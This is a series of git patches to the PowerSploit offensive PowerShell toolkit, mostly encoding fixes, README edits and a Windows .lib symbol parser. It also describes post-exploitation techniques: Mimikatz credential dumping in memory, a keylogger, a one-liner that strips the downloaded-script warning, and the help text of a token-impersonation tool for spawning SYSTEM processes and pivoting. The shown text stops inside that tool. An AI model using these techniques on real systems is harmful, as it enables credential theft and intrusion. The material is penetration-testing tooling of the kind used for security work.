From d269eec01d451745a50686495275e9525712b8b9 Mon Sep 17 00:00:00 2001 From: clymb3r Date: Tue, 1 Oct 2013 21:25:36 -0700 Subject: [PATCH 001/365] Switching to ANSI from UTF8 encoding Scripts now work in 2008r2. I thought I tested before uploading but something broke somehow... Now the scripts work in 2008r2 and win8+ --- CodeExecution/Invoke-ReflectivePEInjection.ps1 | 4 ++-- Exfiltration/Invoke-Mimikatz.ps1 | 6 +++--- Exfiltration/Invoke-NinjaCopy.ps1 | 6 +++--- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/CodeExecution/Invoke-ReflectivePEInjection.ps1 b/CodeExecution/Invoke-ReflectivePEInjection.ps1 index 6e18bff8..ccc1dd68 100644 --- a/CodeExecution/Invoke-ReflectivePEInjection.ps1 +++ b/CodeExecution/Invoke-ReflectivePEInjection.ps1 @@ -1,4 +1,4 @@ -function Invoke-ReflectivePEInjection +function Invoke-ReflectivePEInjection { <# .SYNOPSIS @@ -33,7 +33,7 @@ Author: Joe Bialek, Twitter: @JosephBialek License: BSD 3-Clause Required Dependencies: None Optional Dependencies: None -Version: 1.0 +Version: 1.1 .DESCRIPTION diff --git a/Exfiltration/Invoke-Mimikatz.ps1 b/Exfiltration/Invoke-Mimikatz.ps1 index 2e206a66..289652c4 100644 --- a/Exfiltration/Invoke-Mimikatz.ps1 +++ b/Exfiltration/Invoke-Mimikatz.ps1 @@ -1,4 +1,4 @@ -function Invoke-Mimikatz +function Invoke-Mimikatz { <# .SYNOPSIS @@ -15,8 +15,8 @@ Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. License: http://creativecommons.org/licenses/by/3.0/fr/ Required Dependencies: Mimikatz (included) Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 +Version: 1.1 +ReflectivePEInjection version: 1.1 Mimikatz version: 1.0 .DESCRIPTION diff --git a/Exfiltration/Invoke-NinjaCopy.ps1 b/Exfiltration/Invoke-NinjaCopy.ps1 index 68e7d81e..cfa763fa 100644 --- a/Exfiltration/Invoke-NinjaCopy.ps1 +++ b/Exfiltration/Invoke-NinjaCopy.ps1 @@ -1,4 +1,4 @@ -function Invoke-NinjaCopy +function Invoke-NinjaCopy { <# .SYNOPSIS @@ -25,8 +25,8 @@ Contributors: This script has a byte array hardcoded, which contains a DLL wich License: GPLv3 or later Required Dependencies: None Optional Dependencies: None -Version: 1.0 -ReflectivePEInjection version: 1.0 +Version: 1.1 +ReflectivePEInjection version: 1.1 .DESCRIPTION From a6c0c940bfb8743c97d0c27ffe529bb2140061dc Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:20:58 -0400 Subject: [PATCH 002/365] Slight clarification to license statement --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 35a1d83e..1988a6a3 100644 --- a/README.md +++ b/README.md @@ -194,7 +194,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage From babad35dae1c60d0480545bf8e5f89eba94918fe Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:35:48 -0400 Subject: [PATCH 003/365] Added a usage tip Added a one-liner for PSv3 that will remove the annoying warnings that are displayed when importing scripts downloaded from the Internet. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 1988a6a3..93d2d0fa 100644 --- a/README.md +++ b/README.md @@ -209,6 +209,8 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. From 737fd832e0b080cbb49d77808cd81bfc1634bd1d Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:39:25 -0400 Subject: [PATCH 004/365] Updated usage tip --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 93d2d0fa..4fa1064b 100644 --- a/README.md +++ b/README.md @@ -209,7 +209,10 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` -If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem -Recurse | Unblock-File} }` For help on each individual command, Get-Help is your friend. From 54971370cfb150e69a0faa064071a4ac0a3283a4 Mon Sep 17 00:00:00 2001 From: webstersprodigy Date: Tue, 22 Oct 2013 21:04:24 -0700 Subject: [PATCH 005/365] Fix for hostfiles option in powershell 2 --- Recon/Invoke-Portscan.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 46a5337a..ab03734e 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -647,14 +647,14 @@ http://webstersprodigy.net [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath - if ($Hosts) + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") { foreach($h in $Hosts) { Parse-Hosts($h) | Out-Null } } - elseif ($HostFile) + else { Parse-ILHosts($HostFile) | Out-Null } From 9fbb4ec3c39e0e42ffdfa55bdbb36aedd39e4216 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sun, 29 Sep 2013 17:12:03 -0400 Subject: [PATCH 006/365] Added Get-LibSymbols Get-LibSymbols parses Microsoft .lib files and displays decorated and undecorated symbols. --- PETools/Get-LibSymbols.format.ps1xml | 31 +++ PETools/Get-LibSymbols.ps1 | 275 +++++++++++++++++++++++++++ PETools/PETools.psd1 | 5 +- README.md | 4 + 4 files changed, 313 insertions(+), 2 deletions(-) create mode 100644 PETools/Get-LibSymbols.format.ps1xml create mode 100644 PETools/Get-LibSymbols.ps1 diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml new file mode 100644 index 00000000..41747cbf --- /dev/null +++ b/PETools/Get-LibSymbols.format.ps1xml @@ -0,0 +1,31 @@ + + + + + SymbolTypeView + + COFF.SymbolInfo + + + + + + + SymbolType + + + Module + + + DecoratedName + + + UndecoratedName + + + + + + + + \ No newline at end of file diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 new file mode 100644 index 00000000..79dede5c --- /dev/null +++ b/PETools/Get-LibSymbols.ps1 @@ -0,0 +1,275 @@ +function Get-LibSymbols +{ +<# +.SYNOPSIS + + Displays symbolic information from Windows lib files. + + PowerSploit Function: Get-LibSymbols + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + +.DESCRIPTION + + Get-LibSymbols parses and returns symbols in Windows .lib files + in both decorated and undecorated form (for C++ functions). + +.PARAMETER Path + + Specifies a path to one or more lib file locations. + +.EXAMPLE + + C:\PS>Get-LibSymbols -Path msvcrt.lib + +.EXAMPLE + + C:\PS>ls *.lib | Get-LibSymbols + +.INPUTS + + System.String[] + + You can pipe a file system path (in quotation marks) to Get-LibSymbols. + +.OUTPUTS + + COFF.SymbolInfo + +.LINK + + http://www.exploit-monday.com/ +#> + [CmdletBinding()] Param ( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateScript({ Test-Path $_ })] + [Alias('FullName')] + [String[]] + $Path + ) + + BEGIN + { + $Code = @' + using System; + using System.IO; + using System.Text; + using System.Runtime.InteropServices; + + namespace COFF + { + public class HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public DateTime TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + + public HEADER(BinaryReader br) + { + this.Machine = br.ReadUInt16(); + this.NumberOfSections = br.ReadUInt16(); + this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); + this.PointerToSymbolTable = br.ReadUInt32(); + this.NumberOfSymbols = br.ReadUInt32(); + this.SizeOfOptionalHeader = br.ReadUInt16(); + this.Characteristics = br.ReadUInt16(); + } + } + + public class IMAGE_ARCHIVE_MEMBER_HEADER + { + public string Name; + public DateTime Date; + public ulong Size; + public string EndHeader; + + public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) + { + string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); + DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); + this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); + this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); + br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. + this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); + this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); + } + } + + public class Functions + { + [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] + public static extern int UnDecorateSymbolName( + [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, + [Out] StringBuilder UnDecoratedName, + [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, + [In] [MarshalAs(UnmanagedType.U4)] uint Flags); + } + } +'@ + + Add-Type -TypeDefinition $Code + + function Dispose-Objects + { + $BinaryReader.Close() + $FileStream.Dispose() + } + } + + PROCESS + { + foreach ($File in $Path) + { + # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. + $LibFilePath = Resolve-Path $File + + # Pull out just the file name + $LibFileName = Split-Path $LibFilePath -Leaf + + $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 + $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files + $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length + $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header + $SizeofCOFFFileHeader = 20 + + # Open the object file for reading + $FileStream = [IO.File]::OpenRead($LibFilePath) + + $FileLength = $FileStream.Length + + # Validate lib header size + if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) + { + # You cannot parse the lib header if the file is not big enough to contain a lib header. + Write-Error "$($LibFileName) is too small to store a lib header." + $FileStream.Dispose() + return + } + + # Open a BinaryReader object for the lib file + $BinaryReader = New-Object IO.BinaryReader($FileStream) + + $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) + + if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Parse the first archive header + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) + { + Write-Error "$($LibFileName) does not contain a valid lib header." + Dispose-Objects + return + } + + # Check for the existence of symbols + if ($ArchiveHeader.Size -eq 0) + { + Write-Warning "$($LibFileName) contains no symbols." + Dispose-Objects + return + } + + $NumberOfSymbols = $BinaryReader.ReadBytes(4) + + # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($NumberOfSymbols) + } + + $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) + + $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) + + foreach ($Offset in 0..($SymbolOffsets.Length - 1)) + { + $SymbolOffset = $BinaryReader.ReadBytes(4) + + if ([BitConverter]::IsLittleEndian) + { + [Array]::Reverse($SymbolOffset) + } + + $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) + } + + $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 + # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + # Write-Output $SymbolStrings + + # There will be many duplicate offset entries. Remove them. + $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique + + $SymbolOffsetsSorted | ForEach-Object { + # Seek to the each repective offset in the file + $FileStream.Seek($_, 'Begin') | Out-Null + + $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) + + # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header + # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' + # consists solely of the module name and symbol. + $CoffHeader = New-Object COFF.HEADER($BinaryReader) + + # Check for 0xFFFF flag value + if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) + { + # Get the total length of the module and symbol name + $SymbolStringLength = $CoffHeader.NumberOfSymbols + $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) + + $DecoratedSymbol = $Symbols[0] + $UndecoratedSymbol = '' + + # Default to a 'C' type symbol unless it starts with a '?' + $SymbolType = 'C' + + # Is the symbol a C++ type? + if ($DecoratedSymbol.StartsWith('?')) + { + $StrBuilder = New-Object Text.Stringbuilder(512) + # Magically undecorated the convoluted C++ symbol into a proper C++ function definition + [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null + $UndecoratedSymbol = $StrBuilder.ToString() + $SymbolType = 'C++' + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + + $SymInfo = @{ + DecoratedName = $DecoratedSymbol + UndecoratedName = $UndecoratedSymbol + Module = $Symbols[1] + SymbolType = $SymbolType + } + + $ParsedSymbol = New-Object PSObject -Property $SymInfo + $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' + + Write-Output $ParsedSymbol + } + } + + # Close file and binaryreader objects + Dispose-Objects + } + } + + END {} +} \ No newline at end of file diff --git a/PETools/PETools.psd1 b/PETools/PETools.psd1 index d4143653..28a60b91 100644 --- a/PETools/PETools.psd1 +++ b/PETools/PETools.psd1 @@ -52,7 +52,7 @@ PowerShellVersion = '2.0' # TypesToProcess = @() # Format files (.ps1xml) to be loaded when importing this module -FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml' +FormatsToProcess = 'PETools.format.ps1xml', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.format.ps1xml' # Modules to import as nested modules of the module specified in RootModule/ModuleToProcess # NestedModules = @() @@ -74,7 +74,8 @@ ModuleList = @(@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd150 # List of all files packaged with this module FileList = 'PETools.psm1', 'PETools.psd1', 'PETools.format.ps1xml', 'Get-DllLoadPath.ps1', - 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Usage.md' + 'Get-PEHeader.ps1', 'Get-ObjDump.ps1', 'Get-ObjDump.format.ps1xml', 'Get-LibSymbols.ps1', + 'Usage.md' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/README.md b/README.md index 5141808e..e3265199 100644 --- a/README.md +++ b/README.md @@ -72,6 +72,10 @@ An in-memory and on-disk PE parsing utility. Displays information about one or more Windows object files. +#### `Get-LibSymbols` + +Displays symbolic information from Windows lib files. + #### `Get-DllLoadPath` Returns the path from which Windows will load a Dll for the given executable. From 70e5b8375bceee892577a66d9f95597e85566110 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Mon, 30 Sep 2013 06:43:03 -0400 Subject: [PATCH 007/365] Fixed minor logic bug in C type undecorated symbols --- PETools/Get-LibSymbols.ps1 | 9 ++++++++- 1 file changed, 8 insertions(+), 1 deletion(-) diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 index 79dede5c..414454f4 100644 --- a/PETools/Get-LibSymbols.ps1 +++ b/PETools/Get-LibSymbols.ps1 @@ -249,7 +249,14 @@ } else { - $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') + { + $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] + } + else + { + $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] + } } $SymInfo = @{ From cf64b10d5c2af3d9e64df3bfaad4ff3ded621cf5 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 1 Oct 2013 17:41:54 -0400 Subject: [PATCH 008/365] Added exfil script synopses to README.md Descriptions for Invoke-NinjaCopy and Invoke-Mimikatz were added to the readme. --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index e3265199..2d500d74 100644 --- a/README.md +++ b/README.md @@ -144,6 +144,14 @@ Locates single Byte AV signatures utilizing the same method as DSplit from "clas **All your data belong to me!** +#### `Invoke-NinjaCopy` + +Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. + +#### `Invoke-Mimikatz` + +Reflectively loads Mimikatz 1.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any functionality provided with Mimikatz. + #### `Get-Keystrokes` Logs keys pressed, time and the active window. From 8c13faaf515c0d6ba6516bd03a90b68a72603a8c Mon Sep 17 00:00:00 2001 From: mattifestation Date: Tue, 1 Oct 2013 17:47:28 -0400 Subject: [PATCH 009/365] Modified license verbiage --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 2d500d74..35a1d83e 100644 --- a/README.md +++ b/README.md @@ -223,7 +223,7 @@ Note: The tools contained within this module were all designed such that they ca * If you want to display relevant debugging information to the screen, use Write-Verbose. The user can always just tack on '-Verbose'. -* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license. +* Always provide descriptive, comment-based help for every script. Also, be sure to include your name and a BSD 3-Clause license (unless there are extenuating circumstances that prevent the application of the BSD license). * Make sure all functions follow the proper PowerShell verb-noun agreement. Use Get-Verb to list the default verbs used by PowerShell. From 05cbdab96efe07c56a6e3bde6263fa4561724cc5 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:20:58 -0400 Subject: [PATCH 010/365] Slight clarification to license statement --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 35a1d83e..1988a6a3 100644 --- a/README.md +++ b/README.md @@ -194,7 +194,7 @@ Scans an IP address range for DNS PTR records. This script is useful for perform ## License -The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE). +The PowerSploit project and all individual scripts are under the [BSD 3-Clause license](https://raw.github.com/mattifestation/PowerSploit/master/LICENSE) unless explicitly noted otherwise. ## Usage From 1e4dc7b49fd5554679e99ca01074f7d3c5155766 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:35:48 -0400 Subject: [PATCH 011/365] Added a usage tip Added a one-liner for PSv3 that will remove the annoying warnings that are displayed when importing scripts downloaded from the Internet. --- README.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/README.md b/README.md index 1988a6a3..93d2d0fa 100644 --- a/README.md +++ b/README.md @@ -209,6 +209,8 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` + For help on each individual command, Get-Help is your friend. Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. From a40e79da934ead46cdc648d8bd3a23b8a7e5ee02 Mon Sep 17 00:00:00 2001 From: mattifestation Date: Sat, 5 Oct 2013 08:39:25 -0400 Subject: [PATCH 012/365] Updated usage tip --- README.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index 93d2d0fa..4fa1064b 100644 --- a/README.md +++ b/README.md @@ -209,7 +209,10 @@ To use the module, type `Import-Module PowerSploit` To see the commands imported, type `Get-Command -Module PowerSploit` -If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: `$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join-Path $_ PowerSploit) ) {Get-ChildItem -Recurse | Unblock-File} }` +If you're running PowerShell v3 and you want to remove the annoying 'Do you really want to run scripts downloaded from the Internet' warning, once you've placed PowerSploit into your module path, run the following one-liner: +`$Env:PSModulePath.Split(';') | + % { if ( Test-Path (Join-Path $_ PowerSploit) ) + {Get-ChildItem -Recurse | Unblock-File} }` For help on each individual command, Get-Help is your friend. From c4cd73a9cf40a4b1ba11654e78814b372033241f Mon Sep 17 00:00:00 2001 From: webstersprodigy Date: Tue, 22 Oct 2013 21:04:24 -0700 Subject: [PATCH 013/365] Fix for hostfiles option in powershell 2 --- Recon/Invoke-Portscan.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Recon/Invoke-Portscan.ps1 b/Recon/Invoke-Portscan.ps1 index 46a5337a..ab03734e 100644 --- a/Recon/Invoke-Portscan.ps1 +++ b/Recon/Invoke-Portscan.ps1 @@ -647,14 +647,14 @@ http://webstersprodigy.net [Environment]::CurrentDirectory=(Get-Location -PSProvider FileSystem).ProviderPath - if ($Hosts) + if ($PsCmdlet.ParameterSetName -eq "cmdHosts") { foreach($h in $Hosts) { Parse-Hosts($h) | Out-Null } } - elseif ($HostFile) + else { Parse-ILHosts($HostFile) | Out-Null } From 7a6e8a0f208d19d2be19265f90b6e503b74143fa Mon Sep 17 00:00:00 2001 From: clymb3r Date: Sun, 3 Nov 2013 22:54:36 -0800 Subject: [PATCH 014/365] Adding Invoke-TokenManipulation --- Exfiltration/Exfiltration.psd1 | 2 +- Exfiltration/Invoke-TokenManipulation.ps1 | 1773 +++++++++++++++++++++ 2 files changed, 1774 insertions(+), 1 deletion(-) create mode 100644 Exfiltration/Invoke-TokenManipulation.ps1 diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 382b2e39..5268eb25 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', - 'Invoke-NinjaCopy.ps1' + 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Invoke-TokenManipulation.ps1 b/Exfiltration/Invoke-TokenManipulation.ps1 new file mode 100644 index 00000000..affbc206 --- /dev/null +++ b/Exfiltration/Invoke-TokenManipulation.ps1 @@ -0,0 +1,1773 @@ +function Invoke-TokenManipulation +{ +<# +.SYNOPSIS + +This script requires Administrator privileges. It can enumerate the Logon Tokens available and use them to create new processes. This allows you to use +anothers users credentials over the network by creating a process with their logon token. This will work even with Windows 8.1 LSASS protections. +This functionality is very similar to the incognito tool (with some differences, and different use goals). + +This script can also make the PowerShell thread impersonate another users Logon Token. Unfortunately this doesn't work well, because PowerShell +creates new threads to do things, and those threads will use the Primary token of the PowerShell process (your original token) and not the token +that one thread is impersonating. Because of this, you cannot use thread impersonation to impersonate a user and then use PowerShell remoting to connect +to another server as that user (it will authenticate using the primary token of the process, which is your original logon token). + +Because of this limitation, the recommended way to use this script is to use CreateProcess to create a new PowerShell process with another users Logon +Token, and then use this process to pivot. This works because the entire process is created using the other users Logon Token, so it will use their +credentials for the authentication. + +IMPORTANT: If you are creating a process, by default this script will modify the ACL of the current users desktop to allow full control to "Everyone". +This is done so that the UI of the process is shown. If you do not need the UI, use the -NoUI flag to prevent the ACL from being modified. This ACL +is not permenant, as in, when the current logs off the ACL is cleared. It is still preferrable to not modify things unless they need to be modified though, +so I created the NoUI flag. ALSO: When creating a process, the script will request SeSecurityPrivilege so it can enumerate and modify the ACL of the desktop. +This could show up in logs depending on the level of monitoring. + + +Important differences from incognito: +First of all, you should probably read the incognito white paper to understand what incognito does. If you use incognito, you'll notice it differentiates +between "Impersonation" and "Delegation" tokens. This is because incognito can be used in situations where you get remote code execution against a service +which has threads impersonating multiple users. Incognito can enumerate all tokens available to the service process, and impersonate them (which might allow +you to elevate privileges). This script must be run as administrator, and because you are already an administrator, the primary use of this script is for pivoting +without dumping credentials. + +In this situation, Impersonation vs Delegation does not matter because an administrator can turn any token in to a primary token (delegation rights). What does +matter is the logon type used to create the logon token. If a user connects using Network Logon (aka type 3 logon), the computer will not have any credentials for +the user. Since the computer has no credentials associated with the token, it will not be possible to authenticate off-box with the token. All other logon types +should have credentials associated with them (such as Interactive logon, Service logon, Remote interactive logon, etc). Therefore, this script looks +for tokens which were created with desirable logon tokens (and only displays them by default). + +In a nutshell, instead of worrying about "delegation vs impersonation" tokens, you should worry about NetworkLogon (bad) vs Non-NetworkLogon (good). + + +PowerSploit Function: Invoke-TokenManipulation +Author: Joe Bialek, Twitter: @JosephBialek +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None +Version: 1.0 + +.DESCRIPTION + +Lists available logon tokens. Creates processes with other users logon tokens, and impersonates logon tokens in the current thread. + +.PARAMETER Enumerate + +Switch. Specifics to enumerate logon tokens available. By default this will only list unqiue usable tokens (not network-logon tokens). + +.PARAMETER RevToSelf + +Switch. Stops impersonating an alternate users Token. + +.PARAMETER ShowAll + +Switch. Enumerate all Logon Tokens (including non-unique tokens and NetworkLogon tokens). + +.PARAMETER ImpersonateUser + +Switch. Will impersonate an alternate users logon token in the PowerShell thread. Can specify the token to use by Username, ProcessId, or ThreadId. + This mode is not recommended because PowerShell is heavily threaded and many actions won't be done in the current thread. Use CreateProcess instead. + +.PARAMETER CreateProcess + +Specify a process to create with an alternate users logon token. Can specify the token to use by Username, ProcessId, or ThreadId. + +.PARAMETER WhoAmI + +Switch. Displays the credentials the PowerShell thread is running under. + +.PARAMETER Username + +Specify the Token to use by username. This will choose a non-NetworkLogon token belonging to the user. + +.PARAMETER ProcessId + +Specify the Token to use by ProcessId. This will use the primary token of the process specified. + +.PARAMETER Process + +Specify the token to use by process object (will use the processId under the covers). This will impersonate the primary token of the process. + +.PARAMETER ThreadId + +Specify the Token to use by ThreadId. This will use the token of the thread specified. + +.PARAMETER ProcessArgs + +Specify the arguments to start the specified process with when using the -CreateProcess mode. + +.PARAMETER NoUI + +If you are creating a process which doesn't need a UI to be rendered, use this flag. This will prevent the script from modifying the Desktop ACL's of the +current user. If this flag isn't set and -CreateProcess is used, this script will modify the ACL's of the current users desktop to allow full control +to "Everyone". + + +.EXAMPLE + +Invoke-TokenManipulation -Enumerate + +Lists all unique usable tokens on the computer. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\system" + +Spawns cmd.exe as SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -ImpersonateUser -Username "nt authority\system" + +Makes the current PowerShell thread impersonate SYSTEM. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500 + +Spawns cmd.exe using the primary token belonging to process ID 500. + +.EXAMPLE + +Invoke-TokenManipulation -ShowAll + +Lists all tokens available on the computer, including non-unique tokens and tokens created using NetworkLogon. + +.EXAMPLE + +Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500 + +Spawns cmd.exe using the token belonging to thread ID 500. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -CreateProcess "cmd.exe" + +Spawns cmd.exe using the primary token of LSASS.exe. This pipes the output of Get-Process to the "-Process" parameter of the script. + +.EXAMPLE + +Get-Process lsass | Token-TokenManipulation -ImpersonateUser + +Makes the current thread impersonate the lsass security token. + +.NOTES +This script was inspired by incognito. + +Several of the functions used in this script were written by Matt Graeber(Twitter: @mattifestation, Blog: http://www.exploit-monday.com/). +BIG THANKS to Matt Graeber for helping debug. + +.LINK + +Blog: http://clymb3r.wordpress.com/ +Github repo: https://github.com/clymb3r/PowerShell +Blog on this script: http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ + +#> + + [CmdletBinding(DefaultParameterSetName="Enumerate")] + Param( + [Parameter(ParameterSetName = "Enumerate")] + 